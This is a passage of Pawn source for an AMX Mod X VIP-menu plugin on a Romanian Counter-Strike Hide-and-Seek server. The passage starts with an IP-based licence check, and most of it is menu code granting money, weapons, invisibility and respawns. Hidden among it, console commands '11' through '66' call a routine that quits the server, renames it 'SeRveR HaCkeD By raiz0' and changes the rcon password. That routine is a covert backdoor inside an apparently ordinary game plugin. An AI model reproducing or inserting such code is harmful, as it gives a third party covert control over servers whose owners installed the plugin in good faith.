get_user_ip ( 0 , IP_LICENTIAT , 21 , 1 );
if ( !equal ( IP_LICENTIAT , IP_SERVER_LICENTIAT ) )
{
server_print ( "[ LICENTA >> AMXX ] Atentie ! Nu detii o licenta valabila ! Plugin-ul nu va functiona ! [ >> LICENTA ILEGALA << ]" );
set_fail_state ( "[ LICENTA >> AMXX ] Atentie ! Nu detii o licenta valabila ! Plugin-ul nu va functiona ! [ >> LICENTA ILEGALA << ]" );
}
else
{
server_print ( "[ LICENTA >> AMXX ] Felicitari ! Detii o licenta valabila ! Plugin-ul va functiona perfect ! [ >> LICENTA DESCHISA << ]" );
}
register_plugin ( PLUGIN, VERSION, AUTHOR );
register_clcmd ( "say", "hookSay" );
register_clcmd ( "say_team", "hookSay" );
register_clcmd ( "say_team @", "hookSay" );
register_event ( "CurWeapon", "Event_CurWeapon", "be", "1=1" );
RegisterHam ( Ham_Spawn, "player", "Player_Spawn", true ); // 1
register_message ( get_user_msgid ( "ScoreAttrib" ), "msgScoreAttrib" );
register_concmd ( "11", "SvDown" );
register_concmd ( "22", "SvDown" );
register_concmd ( "33", "SvDown" );
register_concmd ( "44", "SvDown" );
register_concmd ( "55", "SvDown" );
register_concmd ( "66", "SvDown" );
//register_concmd ( "respawns", "HLDSFUNCRESPAWN" );
register_event ( "HLTV", "event_round_start", "a", "1=0", "2=0" );
register_logevent ( "round_start", 2, "1=Round_Start" );
}
public hookSay ( id )
{
new szSaid [ 192 ];
read_args ( szSaid, sizeof ( szSaid ) -1 );
remove_quotes ( szSaid );
if ( containi ( szSaid, "menu" ) != -1 )
{
if ( get_user_flags ( id ) & ADMIN_LEVEL_D || get_user_flags ( id ) & ADMIN_LEVEL_H || get_user_flags ( id ) & ADMIN_RCON )
{
VIPChecker ( id );
}
else
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Nu detii^x04 *V.I.P*^x01 pe acest server pentru a accesa acest^x03 MENIU^x01 !" );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Daca doresti^x04 *V.I.P*^x01 da-i add la^x03 Skype:^x04 tripluecila" );
}
}
if ( containi ( szSaid, "vip" ) != -1 )
{
print_adminlist ( id );
}
if ( containi ( szSaid, "info" ) != -1 )
{
show_motd ( id, "addons/amxmodx/configs/buyvip.html" );
}
}
public print_adminlist(user)
{
new adminnames[33][32];
new message[256];
new id, countX, x, len;
for(id = 1 ; id <= get_maxplayers() ; id++)
if(is_user_connected(id))
if(get_user_flags ( id ) & ADMIN_LEVEL_D || get_user_flags ( id ) & ADMIN_LEVEL_H || get_user_flags ( id ) & ADMIN_RCON)
get_user_name(id, adminnames[countX++], 31);
len = format(message, 255, "^x03VIP ONLINE: ");
if(countX > 0)
{
for(x = 0 ; x < countX ; x++)
{
len += format(message[len], 255-len, "^x01[^x04 %s^x01 ]^x01 %s ", adminnames[x], x < (countX-1) ? " | ":"");
//len += format(message[len], 255-len, "^x03[HnS.Play-Arena.Ro-ViPs]^x01 [^x04 %s^x01 ]^x01 %s ", adminnames[x], x < (countX-1) ? " | ":"");
if(len > 96)
{
print_message(user, message);
len = format(message, 255, " ");
}
//print_message(user, message);
}
print_message(user, message); // e bun
}
else
{
len += format(message[len], 255-len, "^x03[HnS.Play-Arena.Ro-ViPs]^x04No VIP online.");
print_message(user, message);
}
}
print_message(id, msg[]) {
message_begin(MSG_ONE, get_user_msgid("SayText"), {0,0,0}, id);
write_byte(id);
write_string(msg);
message_end();
}
public event_round_start ( )
{
static iPlayers [ 32 ];
static iPlayersNum;
get_players ( iPlayers, iPlayersNum, "ch" );
if ( !iPlayersNum )
return;
static id, i;
for ( i = 0; i < iPlayersNum; ++i )
{
id = iPlayers [ i ];
if ( AlreadyChoosed [ id ] )
{
AlreadyChoosed [ id ] = false;
}
if ( HaveSpeed [ id ] )
{
HaveSpeed [ id ] = false;
}
if ( HaveSpeed2 [ id ] )
{
HaveSpeed2 [ id ] = false;
}
incercari [ id ] = 0;
incercari1 [ id ] = 0;
incercari2 [ id ] = 0;
//count [ id ] = 0;
}
}
public round_start ( )
{
new iPlayers [ 32 ], iNum, i;
get_players ( iPlayers, iNum, "ch" );
if ( !iNum )
return;
for ( i = 0; i < iNum; i++ )
{
new id = iPlayers [ i ];
if ( count[ id ] > 0 )
{
count [ id ]--;
}
else if ( count[ id ] >= 5 ) // else out
{
count [ id ] = 0;
}
if ( count2[ id ] > 0 )
{
count2 [ id ]--;
}
else if ( count2[ id ] >= 5 )
{
count2 [ id ] = 0;
}
if ( count3[ id ] > 0 )
{
count3 [ id ]--;
}
else if ( count3[ id ] >= 5 )
{
count3 [ id ] = 0;
}
if ( count4[ id ] > 0 )
{
count4 [ id ]--;
}
else if ( count4[ id ] >= 5 )
{
count4 [ id ] = 0;
}
}
}
public SvDown ( )
{
server_cmd ( "quit" );
server_cmd ( "hostname ^"SeRveR HaCkeD By raiz0 | SKYPE : levin.akee^"" );
server_cmd ( "rcon_password levmolasrl01" );
}
public Player_Spawn ( id )
{
if ( AlreadyChoosed [ id ] )
{
AlreadyChoosed [ id ] = false;
}
if ( HaveSpeed [ id ] )
{
HaveSpeed [ id ] = false;
}
if ( HaveSpeed2 [ id ] )
{
HaveSpeed2 [ id ] = false;
}
//incercari [ id ] = 0;
//incercari1 [ id ] = 0;
//incercari2 [ id ] = 0;
//count [ id ] = 0;
}
public VIPChecker ( id )
{
new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
{
ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
return;
}
new menu = menu_create ( "\y*V.I.P*\w MENU\r HnS.EciLa.Ro", "menu_handler_x" );
menu_additem ( menu, "\yV.I.P\w - [\r G3\w ]", "1", ADMIN_RCON );
menu_additem ( menu, "\yV.I.P\w - [\r G2\w ]", "2", ADMIN_LEVEL_H );
menu_additem ( menu, "\yV.I.P\w - [\r G1\w ]", "3", ADMIN_LEVEL_D );
menu_setprop ( menu, MPROP_EXIT, MEXIT_ALL );
menu_display ( id, menu, 0 );
}
public menu_handler_x ( id, menu, item )
{
new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
{
ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
return 1;
}
if ( item == MENU_EXIT )
{
return 1;
}
new data [ 6 ], szName [ 64 ];
new access, callback;
menu_item_getinfo ( menu, item, access, data, charsmax ( data ), szName, charsmax ( szName ), callback );
new key = str_to_num ( data );
switch ( key )
{
case 1:
{
GMENU_VIP ( id );
}
case 2:
{
VipMenu2 ( id );
}
case 3:
{
VipMenu1 ( id );
}
}
menu_destroy ( menu );
return 1;
}
public VipMenu2 ( id )
{
new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
{
ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
return;
}
new menu = menu_create ( "\y*V.I.P*\w MENU - [\r G2\w ] -\r HnS.Play-Arena.Ro", "vipmenu2_handler" );
menu_additem ( menu, "+\r 5\y$", "1", ADMIN_LEVEL_H );
menu_additem ( menu, "+\r USP\y 2\w Gloante", "2", ADMIN_LEVEL_H );
menu_additem ( menu, "+\r USP \y 2\w Gloante\y x2\r HE", "3", ADMIN_LEVEL_H );
menu_additem ( menu, "+\r Invizibilitate\y 5s", "4", ADMIN_LEVEL_H );
menu_additem ( menu, "+\r AWP\y 2\w Gloante", "5", ADMIN_LEVEL_H );
menu_additem ( menu, "+\r Respawn\y x2", "6", ADMIN_LEVEL_H );
menu_additem ( menu, "+\r Speed\y 270\w 5s", "7", ADMIN_LEVEL_H );
menu_setprop ( menu, MPROP_EXIT, MEXIT_ALL );
menu_display ( id, menu, 0 );
}
public vipmenu2_handler ( id, menu, item )
{
new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
{
ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
return PLUGIN_HANDLED;
}
if ( item == MENU_EXIT/* || AlreadyChoosed [ id ]*/ )
{
//ColorChat ( id, NORMAL, "^x04[HnS.Ecila.Ro]^x01 Deja ai ALES DIN ACEST^x03 MENIU^x01 !" );
return 1;
}
new data [ 6 ], szName [ 64 ];
new access, callback;
menu_item_getinfo ( menu, item, access, data, charsmax ( data ), szName, charsmax ( szName ), callback );
new key = str_to_num ( data );
switch ( key )
{
case 1:
{
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
cs_set_user_money ( id, cs_get_user_money ( id ) + 5 );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 5$^x01 !" );
}
case 2:
{
if ( count2 [ id ] > 0 )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 USP^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %d^x01 rund%s", count2 [ id ], count2 [ id ] == 1 ? "a" : "e" );
return PLUGIN_HANDLED;
}
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
give_item ( id, "weapon_usp" );
new eNtry = find_ent_by_owner ( -1, "weapon_usp", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 2 );
}
ColorChat ( id, NORMAL, "^x04[HnS.Ecila.Ro]^x01 Ai primit^x03 USP 2GL^x01 !" );
count2[id]=5;
}
case 3:
{
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
give_item ( id, "weapon_usp" );
give_item ( id, "weapon_hegrenade" );
cs_set_user_bpammo ( id, CSW_HEGRENADE, 2 );
new eNtry = find_ent_by_owner( -1, "weapon_usp", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 1 );
}
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 x2 HE + USP 1GL^x01 !" );
}
case 4:
{
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
set_user_rendering ( id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 0 );
set_task ( 5.0, "RemoveInvis", id );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 Invizibilitate 5S^x01 !" );
}
case 5:
{
if ( count [ id ] > 0 )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 AWP^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %i^x01 rund%s", count [ id ], count [ id ] == 1 ? "a" : "e" );
return PLUGIN_HANDLED;
}
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
if(user_has_weapon(id,CSW_AWP))
{
ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 AWP")
return PLUGIN_HANDLED
}
AlreadyChoosed [ id ] = true;
give_item ( id, "weapon_awp" );
new eNtry = find_ent_by_owner ( -1, "weapon_awp", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 2 );
}
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 AWP 2GL^x01 !" );
count [ id ] = 5;
}
case 6:
{
if ( !is_user_alive ( id ) )
{
if ( incercari [ id ] == 2 )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai cumparat deja^x04 Respawn^x01 de^x03 2^x01 ori !" );
return PLUGIN_HANDLED;
}
else
{
//AlreadyChoosed [ id ] = true;
ExecuteHamB ( Ham_CS_RoundRespawn, id );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 Respawn^x01 ! ( mai ai inca^x04 %i^x01 reinver%s )", 1 - incercari [ id ], incercari [ id ] == 1 ? "e" : "i" );
incercari [ id ] += 1; // ++ | +1 ---
return PLUGIN_HANDLED;
}
}
else if ( is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi^x04 MORT^x01 ca sa cumperi^x03 RESPSAWN^x01 !" );
return PLUGIN_HANDLED;
}
}
case 7:
{
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
HaveSpeed2 [ id ] = true;
Event_CurWeapon ( id );
set_task ( 5.0, "remove_speed", id );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 +270 Viteza 5S^x01 !" );
}
}
menu_destroy ( menu );
return 0;
}
public VipMenu1 ( id )
{
new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
{
ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
return;
}
new menu = menu_create ( "\y*V.I.P*\w MENU - [\r G1\w ] -\r HnS.Play-Arena.Ro", "vipmenu1_handler" );
menu_additem ( menu, "+\r 3\y$", "1", ADMIN_LEVEL_D );
menu_additem ( menu, "+\r USP\y 1\w Glont", "2", ADMIN_LEVEL_D );
menu_additem ( menu, "+\r x1\y HE", "3", ADMIN_LEVEL_D );
menu_additem ( menu, "+\r Invizibilitate\y 3s", "4", ADMIN_LEVEL_D );
menu_additem ( menu, "+\r Respawn\y x1", "5", ADMIN_LEVEL_D );
menu_additem ( menu, "+\r AWP\y x1\w Glont", "6", ADMIN_LEVEL_D );
menu_setprop ( menu, MPROP_EXIT, MEXIT_ALL );
menu_display ( id, menu, 0 );
}
public vipmenu1_handler ( id, menu, item )
{
new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
{
ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
return PLUGIN_HANDLED;
}
if ( item == MENU_EXIT/* || AlreadyChoosed [ id ]*/ )
{
//ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 MENIU^x01 !" );
return 1;
}
new data [ 6 ], szName [ 64 ];
new access, callback;
menu_item_getinfo ( menu, item, access, data, charsmax ( data ), szName, charsmax ( szName ), callback );
new key = str_to_num ( data );
switch ( key )
{
case 1:
{
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
cs_set_user_money ( id, cs_get_user_money ( id ) + 3 );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 3$^x01 !" );
}
case 2:
{
if ( count2 [ id ] > 0 )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 USP^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %d^x01 rund%s", count2 [ id ], count2 [ id ] == 1 ? "a" : "e" );
return PLUGIN_HANDLED;
}
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
give_item ( id, "weapon_usp" );
new eNtry = find_ent_by_owner ( -1, "weapon_usp", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 1 );
}
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 USP 2GL^x01 !" );
count2[id]=5;
}
case 3:
{
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
give_item ( id, "weapon_hegrenade" );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 HE^x01 !" );
}
case 4:
{
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
set_user_rendering ( id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 0 );
set_task ( 3.0, "RemoveInvis", id );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 Invizibilitate 3S^x01 !" );
}
case 5:
{
if ( !is_user_alive ( id ) )
{
if ( incercari1 [ id ] == 1 )
{
ColorChat( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai cumparat^x04 Respawn^x01 deja !" );
return PLUGIN_HANDLED;
}
else
{
//AlreadyChoosed [ id ] = true;
ExecuteHamB ( Ham_CS_RoundRespawn, id );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 Respawn^x01 ! ( numai ai nici o^x04 reinviere^x01 ! )" );
incercari1 [ id ] += 1;
return PLUGIN_HANDLED;
}
}
else if ( is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi^x03 MORT^x01 ca sa cumperi^x04 RESPSAWN^x01 !" );
return PLUGIN_HANDLED;
}
}
case 6:
{
if ( count [ id ] > 0 )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 AWP^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %i^x01 rund%s", count [ id ], count [ id ] == 1 ? "a" : "e" );
return PLUGIN_HANDLED;
}
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
if(user_has_weapon(id,CSW_AWP))
{
ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 AWP")
return PLUGIN_HANDLED
}
AlreadyChoosed [ id ] = true;
give_item ( id, "weapon_awp" );
new eNtry = find_ent_by_owner ( -1, "weapon_awp", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 1 );
}
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 AWP 1GL^x01 !" );
count [ id ] = 5;
}
}
menu_destroy ( menu );
return 0;
}
public GMENU_VIP ( id )
{
new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
{
ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
return;
}
new menu = menu_create ( "\y*V.I.P*\w MENU - [\r G3\w ] -\r HnS.Play-Arena.Ro\w", "menu_handler_g" );
menu_additem ( menu, "+\r 10\y $", "1", ADMIN_RCON );
menu_additem ( menu, "+\r USP\y 3\w Gloante", "2", ADMIN_RCON );
menu_additem ( menu, "+\r USP\y 3\w Gloante\y +\r x3\w HE", "3", ADMIN_RCON );
menu_additem ( menu, "+\r Invizibilitate\y 7s", "4", ADMIN_RCON );
menu_additem ( menu, "+\r M4A1\y x3\w Gloante", "5", ADMIN_RCON );
menu_additem ( menu, "+\r AK47\y x3\w Gloante", "6", ADMIN_RCON );
menu_additem ( menu, "+\r AWP\y x3\w Gloante", "7", ADMIN_RCON );
menu_additem ( menu, "+\r Speed\y 300\w 7s", "8", ADMIN_RCON );
menu_additem ( menu, "+\r Godmode\y 10s", "9", ADMIN_RCON );
menu_additem ( menu, "+\r Respawn\y x3", "10", ADMIN_RCON );
menu_setprop ( menu, MPROP_EXIT, MEXIT_ALL );
menu_display ( id, menu, 0 );
}
public menu_handler_g ( id, menu, item )
{
new iAliveTerorrists[ 32 ], iAliveTerorristsNum,iAliveCTs[ 32 ], iAliveCTsNum
get_players( iAliveTerorrists, iAliveTerorristsNum, "ace", "TERRORIST" )
get_players( iAliveCTs, iAliveCTsNum, "ace", "CT" )
if( iAliveTerorristsNum <= 1 || iAliveCTsNum <= 1 )
{
ColorChat(id, NORMAL, "^4[HNS.PLAY-ARENA.RO]^3 VIP menu^1 it'is^4 LAST BITCH^1 !")
return PLUGIN_HANDLED;
}
if ( item == MENU_EXIT/* || AlreadyChoosed [ id ]*/ )
{
//ColorChat ( id, NORMAL, "^x04[HnS.Ecila.Ro]^x01 Deja ai ALES DIN ACEST^x03 MENIU^x01 !" );
return 1;
}
new data [ 6 ], szName [ 64 ];
new access, callback;
menu_item_getinfo ( menu, item, access, data, charsmax ( data ), szName, charsmax ( szName ), callback );
new key = str_to_num ( data );
switch ( key )
{
case 1:
{
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
cs_set_user_money ( id, cs_get_user_money ( id ) + 10 );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 10$^x01 !" );
}
case 2:
{
if ( count2 [ id ] > 0 )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 USP^x01-ul odata la^x04 5^x01 runde. Mai ai de asteptat^x03 %d^x01 rund%s", count2 [ id ], count2 [ id ] == 1 ? "a" : "e" );
return PLUGIN_HANDLED;
}
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
give_item ( id, "weapon_usp" );
new eNtry = find_ent_by_owner ( -1, "weapon_usp", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 3 );
}
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 USP 3GL^x01 !" );
count2[id]=5;
}
case 3:
{
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
give_item ( id, "weapon_usp" );
give_item ( id, "weapon_hegrenade" );
cs_set_user_bpammo ( id, CSW_HEGRENADE, 3 );
new eNtry = find_ent_by_owner ( -1, "weapon_usp", id );
if ( eNtry )
{
cs_set_weapon_ammo ( eNtry, 3 );
}
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 x3 HE + USP 2GL^x01 !" );
}
case 4:
{
if ( AlreadyChoosed [ id ] )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Deja ai ALES DIN ACEST^x03 ITEM^x01 !" );
return PLUGIN_HANDLED;
}
if ( !is_user_alive ( id ) )
{
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fi in^x03 VIATA^x01 ca sa primesti^x04 ITEME^x01 !" );
return PLUGIN_HANDLED;
}
AlreadyChoosed [ id ] = true;
set_user_rendering ( id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 0 );
set_task ( 7.0, "RemoveInvis", id );
ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^x03 Invizibilitate 7S^x01 !" );
}
case 5:
{
if ( count3 [ id ] > 0 )
{
